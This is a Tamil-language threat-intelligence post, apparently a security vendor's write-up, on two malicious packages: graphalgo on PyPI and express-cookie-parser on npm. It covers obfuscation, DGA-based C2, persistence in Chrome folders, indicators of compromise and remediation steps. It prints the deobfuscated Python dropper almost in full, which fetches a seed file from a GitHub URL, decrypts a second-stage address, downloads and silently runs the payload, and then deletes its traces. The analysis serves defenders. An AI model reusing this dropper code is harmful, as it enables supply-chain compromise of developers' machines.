2025-ஆம் ஆண்டில் மென்பொருள் விநியோகச் சங்கிலித் தாக்குதல்களின் போக்கில் கவலைக்குரிய ஒரு போக்கை சைஜெனி சமீபத்தில் கவனித்துள்ளது.இரண்டு பிரபலமான தொகுப்பு மேலாளர்களில் தோன்றி: PyPI மற்றும் NPMஎங்களின் தொடர்ச்சியான அச்சுறுத்தல் புலனாய்வு முயற்சிகளின் ஒரு பகுதியாக,Xygeni-யின் தீம்பொருள் முன்கூட்டிய எச்சரிக்கை (MEW) முன்னர் வேறொரு பதிவகத்தில் பதிவேற்றப்பட்ட ஒரு தீங்கிழைக்கும் தொகுப்பின், தனித்துவமான ஆனால் வழிமுறையில் ஒத்த ஒரு நிகழ்வை இந்தக் கருவி அடையாளம் கண்டது. அச்சுறுத்தல் செய்பவர்கள், குறிப்பாக பல்வேறு சூழல் அமைப்புகளில், தாக்குதல் நுட்பங்களை எவ்வாறு மேம்படுத்தி மீண்டும் பயன்படுத்துகிறார்கள் என்பதை இந்த நிகழ்வு எடுத்துக்காட்டுகிறது. தீங்கிழைக்கும் பைதான் தொகுப்புகள் மற்றும் தீங்கிழைக்கும் npm தொகுப்புகள்இது, திறந்த மூல விநியோகச் சங்கிலிகளில் தீங்கிழைக்கும் தொகுப்புகள் ஊடுருவும் அபாயத்தை அதிகரிக்கிறது.
சைஜெனியின் MEW: ஒற்றுமைகளைக் கண்டறிதல்
சைஜெனியின் MEW கருவியானது, தீங்கிழைக்கும் தொகுப்புகளை, குறிப்பாக 2025-ஆம் ஆண்டின் மென்பொருள் விநியோகச் சங்கிலித் தாக்குதல்களுடன் தொடர்புடையவற்றை, அவை திறந்த மூலப் பதிவகங்களில் வெளியிடப்பட்ட உடனேயே கண்டறிந்து கொடியிடுவதற்காக உருவாக்கப்பட்டுள்ளது. இது புதிய தொகுப்புகளின் சந்தேகத்திற்கிடமான செயல்பாடுகளைப் பகுப்பாய்வு செய்வதன் மூலம் செயல்படுகிறது.
இந்த நிகழ்வில், அது இரண்டை அடையாளம் கண்டது. தீங்கிழைக்கும் பைதான் தொகுப்புகள் (graphalgo PyPI இல்) மற்றும் தீங்கிழைக்கும் npm தொகுப்புகள் (express-cookie-parser npm-இல்).
மென்பொருள் விநியோகச் சங்கிலித் தாக்குதல்களில் தீங்கிழைக்கும் பைதான் மற்றும் என்பிஎம் தொகுப்புகள் (2025)
நமது எச்சரிக்கைகளைத் தூண்டிய பொதுவான பண்புகளை ஆராய்வோம்:
டைபோஸ்குவாட்டிங்
அவர்கள் இருவரும் ஏற்கனவே உள்ள பிரபலமான தொகுப்புகளைப் போல நடிக்க முயன்றனர்.
- கிராஃபால்கோ (PyPI): "வரைபடங்கள் மற்றும் வலையமைப்புகளை உருவாக்குவதற்கும் கையாளுவதற்குமான பைதான் தொகுப்பு."ஒரு பயனர் பெயரால் பதிவேற்றப்பட்டது" "லாரிடெக்" ஜூன் 13, 2025 அன்று, இந்தத் தொகுப்பு, பின்னர் கிராஃப்டிக்ட் (graphdict) எனப் பெயர் மாற்றப்பட்ட, அசல் தீங்கிழைக்காத கிராஃபால்கோ (graphalgo) திட்டத்திற்கு ஒரு பைபை (PyPi) மாற்றாகத் தன்னை முன்வைத்தது.
- எக்ஸ்பிரஸ்-குக்கீ-பார்சர் (npm)இந்தத் தொகுப்பு, நன்கு அறியப்பட்ட cookie-parser தொகுப்பைப் பின்பற்றியது, அதன் கட்டமைப்பை அப்படியே பிரதிபலித்தது. README.md. இத்தகைய ஆள்மாறாட்டம், ஏற்கனவே உள்ள நம்பிக்கையைத் தங்களுக்குச் சாதகமாகப் பயன்படுத்திக்கொள்ளும் ஒரு வழக்கமான தந்திரமாகும்.
முதல் நிலை பாதுகாப்பாக தெளிவின்மை
இரண்டு தொகுப்புகளும் தங்களின் தீங்கிழைக்கும் குறியீட்டை அசல் கோப்புகளுக்குள் மறைத்தன. கிராஃபால்கோமறைக்கப்பட்ட குறியீடு உள்ளே காணப்பட்டது /utils/load_libraries.py. வழக்கில் எக்ஸ்பிரஸ்-குக்கீ-பார்சர், cookie-loader.min.js தெளிவற்ற தரவுச் சுமையைக் கொண்டிருந்தது.
மறைப்பின் இந்த ஆரம்பக்கட்ட அடுக்கு, பொதுவாக மேலோட்டமான ஆய்வு மற்றும் நிலையான பகுப்பாய்வைத் தடுப்பதற்காகப் பயன்படுத்தப்படுகிறது. அந்த மறைப்பு மிகவும் எளிமையானதாக இருந்தது: மீண்டும் மீண்டும் செய்யப்படும் ZLib சுருக்கம் மற்றும் Base64 குறியாக்கம். இந்த வகையான மறைப்பு, அந்த மென்பொருள் அதன் செயல்பாட்டை மறைக்க முயற்சிக்கிறது என்பதைத் தெளிவாகக் காட்டுகிறது. மற்ற ஆதாரங்களுடன் சேர்ந்து, இது Xygeni MEW நிறுவனத்திற்கு அந்தத் தொகுப்புகளை சாத்தியமான தீம்பொருளாக வகைப்படுத்த உதவியது. உறுதிப்படுத்தும் கட்டத்தின் போது, எங்கள் மதிப்பாய்வாளர்கள் உடனடியாக ஒரு மறைப்பு நீக்கும் ஸ்கிரிப்டைத் தயாரித்தனர், அது வெளிப்படையாகவே தீங்கிழைக்கும் டிராப்பர் கட்டத்தை வெளிப்படுத்தியது.
பல-கட்ட பேலோட் விநியோகம் மற்றும் ஒரு பகிரப்பட்ட தொடக்கப் புள்ளி
இரண்டு தொகுப்புகளும் ஆரம்பத்தில் "பரப்பிகள்உண்மையான பேலோடுக்கான களத்தை அமைத்தது. அவை ஒரு பொதுவான வெளிப்புற “விதைகோப்பு URL:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
இந்த ஒத்த வெளிப்புற சீட் கோப்பு, ஒரு பொதுவான அச்சுறுத்தல் காரணி இருப்பதற்கான வலுவான அறிகுறியாகும். சுவாரஸ்யமாக, இந்த சீட் கோப்பின் உள்ளடக்கம் JWT_SECRET, PORT போன்ற எளிய சூழல் மாறிகளாகத் தோன்றுவதால், அதன் உண்மையான செயல்பாட்டிலிருந்து ஆய்வைத் திசைதிருப்பக்கூடும்.
DGA உடன் டைனமிக் C2 தெளிவுத்திறன்
இந்தத் தீங்கிழைக்கும் தொகுப்புகளில் காணப்படும் ஒரு நுட்பமான தந்திரம் என்னவென்றால், கட்டளை மற்றும் கட்டுப்பாட்டு (C2) சேவையகத்தை மாறும் தன்மையுடன் கண்டறிய டொமைன் உருவாக்கும் வழிமுறையை (DGA) பயன்படுத்துவதாகும். 2025-ஆம் ஆண்டில் மேம்பட்ட மென்பொருள் விநியோகச் சங்கிலித் தாக்குதல்களில் அடிக்கடி காணப்படும் இந்த நுட்பம், மூலக் கோப்பின் உள்ளடக்கத்திலிருந்து பெறப்பட்ட SHA256 ஹாஷை, மற்ற நிரலில் நேரடியாகப் பதியப்பட்ட மதிப்புகளுடன் இணைத்துச் செயல்படுகிறது. அவ்வாறு செய்வதன் மூலம், C2 உள்கட்டமைப்பு அடிக்கடி மாறுகிறது, இது பாரம்பரிய கருப்புப் பட்டியலிடுதலை மிகவும் செயல்திறன் குறைந்ததாக ஆக்குகிறது. இந்தச் சூழலில், npm மாறுபாடு ஒரு நிலையான மதிப்பைப் பயன்படுத்தியது. 496AAC7E அதன் DGA தர்க்கத்தின் ஒரு பகுதியாக.
நிலைத்தன்மையை நிறுவுதல்
தாக்குதல் நடத்திய இருவரும் பாதிக்கப்பட்ட கணினிகளில் தங்களின் இருப்பை நிரந்தரமாக நிலைநிறுத்த முயன்றனர். அவர்களின் உத்தியில் ஒரு கோப்பை இடுவது அடங்கியிருந்தது. startup.py (PyPi-க்கு) அல்லது startup.js (npm-க்காக), பல்வேறு இயக்க முறைமைகளில் (Windows, Linux, macOS) உள்ள பொதுவான Google Chrome பயனர் தரவுக் கோப்பகங்களுக்குள்.
செயல்படுத்தலுக்குப் பிந்தைய துப்புரவு
தடயங்களைக் குறைப்பதற்காக, அந்த இரண்டு தீங்கிழைக்கும் ஸ்கிரிப்டுகளும் சுத்தப்படுத்தும் செயல்பாடுகளை மேற்கொண்டன. இதில், அவற்றின் ஆரம்பகால டிராப்பர் கோப்புகளை நீக்குவதும் அடங்கும்.load_libraries.py, cookie-loader.min.js) மற்றும் முறையான தொகுப்பு கோப்புகளை மாற்றுதல் (__init__.py, index.jsதற்போது நீக்கப்பட்ட கூறுகளுக்கான குறிப்புகளை அகற்ற.
தீங்கிழைக்கும் பைதான் மற்றும் என்பிஎம் தொகுப்புகளில் உள்ள சமரசத்தின் குறிகாட்டிகள்
- PyPI தொகுப்புகிராஃபால்கோ (லாரிடெக் வெளியிட்டது, ஜூன் 13, 2025)
- npm தொகுப்பு: எக்ஸ்பிரஸ்-குக்கீ-பார்சர் (குறிப்பாக பதிப்பு 1.4.12)
- பகிரப்பட்ட விதை URL-க்கான அணுகல்:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- நிலையான கோப்புப் பெயர்கள்:
startup.py(பைத்தான்)startup.js(ஜாவாஸ்கிரிப்ட்) - பொதுவான நிலையான பாதைகள் (இயங்குதளத்தைப் பொறுத்தது): கூகிள் குரோம் பயனர் தரவு கோப்பகங்களுக்குள் (எ.கா.,
AppData\Local\Google\Chrome\UserData\Scripts\விண்டோஸில்,~/.config/google-chrome/Scripts/(லினக்ஸ் போன்றவற்றில்).
மென்பொருள் விநியோகச் சங்கிலித் தாக்குதல்களில் தீங்கிழைக்கும் தொகுப்புகளுக்கு எதிராகப் பாதுகாப்பது எப்படி 2025
டெவலப்பர்களுக்கான ஒரு பரிந்துரைக்கப்பட்ட அணுகுமுறை
2025-ஆம் ஆண்டில் மென்பொருள் விநியோகச் சங்கிலித் தாக்குதல்களின் மாறிவரும் அச்சுறுத்தல் சூழலில், இந்தச் சம்பவம் ஒரு மதிப்புமிக்க ஆய்வு உதாரணமாக விளங்குகிறது. தீங்கிழைக்கும் பைதான் தொகுப்புகள் மற்றும் தீங்கிழைக்கும் என்.பி.எம் தொகுப்புகள் எவ்வாறு நம்பகமான சூழல் அமைப்புகளுக்குள் ஊடுருவி, காலம் கடந்துவிடும் வரை பெரும்பாலும் கண்டறியப்படாமல் தப்பித்துவிடுகின்றன என்பதை இது எடுத்துக்காட்டுகிறது. அதனால்தான், முன்கூட்டியே கண்டறிதல், திறன்மிகு கருவிகள் மற்றும் செயலூக்கமான அமைப்புப் பராமரிப்பு ஆகியவை இப்போது எந்தவொரு பாதுகாப்பான டெவொப்ஸ் பணிப்பாய்வின் இன்றியமையாத பகுதிகளாக உள்ளன. உருவாக்குநர்கள் பின்வருவனவற்றைக் கருத்தில் கொள்ளுமாறு ஊக்குவிக்கப்படுகிறார்கள்:
சார்புநிலை மதிப்பாய்வு
உங்கள் திட்டங்களில் சேர்க்கப்பட்டிருந்தால் கிராஃபால்கோ or எக்ஸ்பிரஸ்-குக்கீ-பார்சர்அவற்றை அகற்றும் நடவடிக்கையைத் தொடர்வது விவேகமானதாக இருக்கும்.
- PyPI-க்கு:
pip uninstall graphalgo - npm-க்கு:
npm uninstall express-cookie-parser
அமைப்பு சுகாதாரம்
ஒரு முழுமையான சிஸ்டம் ஸ்கேன் செய்வதைக் கருத்தில் கொள்ளுங்கள். மேலும், ஏதேனும் எதிர்பாராதவை உள்ளதா என, பொதுவான Chrome பயனர் தரவுக் கோப்பகப் பாதைகளை கைமுறையாகச் சரிபார்ப்பதும் அறிவுறுத்தப்படுகிறது. startup.py or startup.js கோப்புகளை.
செயல்திறன் மிக்க பாதுகாப்பு நடவடிக்கைகள்
- புதிய சார்புகளை மதிப்பிடுங்கள்ஒருங்கிணைப்பதற்கு முன் புதிய தொகுப்புகளை முழுமையாக மதிப்பீடு செய்வதற்கான ஒரு வழக்கத்தை உருவாக்குங்கள், குறிப்பாக அறிமுகமில்லாத வெளியீட்டாளர்களிடமிருந்து வரும் தொகுப்புகளில் கவனம் செலுத்துங்கள்.
- பாதுகாப்புக் கருவிகளை ஒருங்கிணைக்கவும்Xygeni-யின் MEW போன்ற கருவிகள், மற்ற மென்பொருள் தொகுப்புப் பகுப்பாய்வுக் கருவிகளுடன் இணைந்து (SCAதீர்வுகள், சந்தேகத்திற்கிடமான நடத்தைகள் மற்றும் பாதிப்புகளைக் கண்டறிவதன் மூலம், ஒரு முக்கியமான பாதுகாப்பு அடுக்கை வழங்க முடியும்.
- குறைந்த சிறப்புரிமைகுறைந்தபட்ச சிறப்புரிமை என்ற கொள்கையின்படி மேம்பாட்டுச் சூழல்களை இயக்குவது, ஒரு பாதுகாப்பு மீறலால் ஏற்படக்கூடிய பாதிப்பைக் குறைக்க உதவும்.
- நெட்வொர்க் விழிப்புணர்வுவெளிச்செல்லும் பிணையப் போக்குவரத்தில் உள்ள அசாதாரண இணைப்புகளைக் கண்காணிப்பது, சில சமயங்களில் DGA-ஆல் உருவாக்கப்பட்ட C2 தகவல்தொடர்புகளை வெளிப்படுத்தக்கூடும்.
முக்கிய கூறுகள் load_libraries.py (கிராஃபால்கோவிலிருந்து)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): குறிப்பிட்ட URL-களிலிருந்து கோப்புகளைப் பெறுவதைக் கையாளுகிறது.run_process(): வெளிப்புற பைதான் ஸ்கிரிப்டுகளைத் தனித்து இயக்கி, வெளியீட்டை வெளிப்படுத்தாமல் ரகசியமாக வைத்திருக்கிறது.get_output_file_path(): நிலைத்திருக்கும் startup.py கோப்பிற்கான உகந்த கணினி இருப்பிடத்தைத் தீர்மானிக்கிறது.remove_self(): செயலாக்கத்திற்குப் பிறகு, தொடக்கத்திலுள்ள தீங்கிழைக்கும் கோப்புகள் மற்றும் தொகுப்பு மாற்றங்களை அகற்றும் பணியை ஒருங்கிணைக்கிறது.simple_shift_encrypt()/simple_shift_decrypt()தகவல் தொடர்பு வழிகளை மறைப்பதற்கான தனிப்பயன் மறைகுறியாக்கச் செயல்பாடுகள், DGA செயலாக்கத்திற்கு இன்றியமையாதவை.load_libraries()ஆரம்ப பதிவிறக்கம் முதல் இறுதி தரவுச் செயலாக்கம் மற்றும் சுத்திகரிப்பு வரை, முழு பல-கட்ட செயல்முறையையும் ஒருங்கிணைக்கும் மையச் செயல்பாடு.
பின்விளைவு
MEW-ஆல் அடையாளம் காணப்பட்ட, தீங்கிழைக்க வாய்ப்புள்ள பிற தொகுப்புகளைப் போலவே, இந்தத் தீங்கிழைக்கும் தொகுப்புகளைத் தங்கள் சார்புநிலைகளில் சேர்க்கும் பயனர்களையும் சார்புநிலை ஃபயர்வால் உடனடியாகப் பாதுகாத்தது. உறுதிப்படுத்தலுக்குப் பிறகு, நாங்கள் இரண்டு பதிவகங்களுக்குமான அறிவிப்பு நடைமுறைகளைப் பின்பற்றினோம்; அவை மதிப்பாய்வுக்குப் பின் இரண்டு தொகுப்புகளையும் அகற்றின.







